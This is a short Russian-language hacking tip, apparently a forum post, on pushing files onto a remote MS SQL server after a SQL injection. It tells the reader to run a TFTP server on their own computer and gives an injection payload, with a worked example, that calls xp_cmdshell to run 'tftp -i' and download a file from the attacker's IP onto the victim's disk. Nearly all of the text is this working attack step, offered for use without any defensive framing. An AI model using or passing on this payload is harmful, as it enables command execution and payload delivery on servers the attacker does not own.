Скачивай tftp сервер (http://tftpd32.jounin.net/tftpd32_download.html), запускай на своем компе, указав папку, из которой будут закачиваться файлы на удаленный сервер. Теперь выполняй команду через инъекцию:
;exec master..xp_cmdshell 'tftp -i [твой ip] GET [любой файл из папки] [путь нового файла]'--
например
;exec master..xp_cmdshell 'tftp -i 12.34.56.78 GET blabla.txt C:\blabla.txt'--
Во время закачивания файл на удаленный сервер, можно видеть список активных подключений. Во вкладке Log viewer также можно увидеть адреса всех клиентов.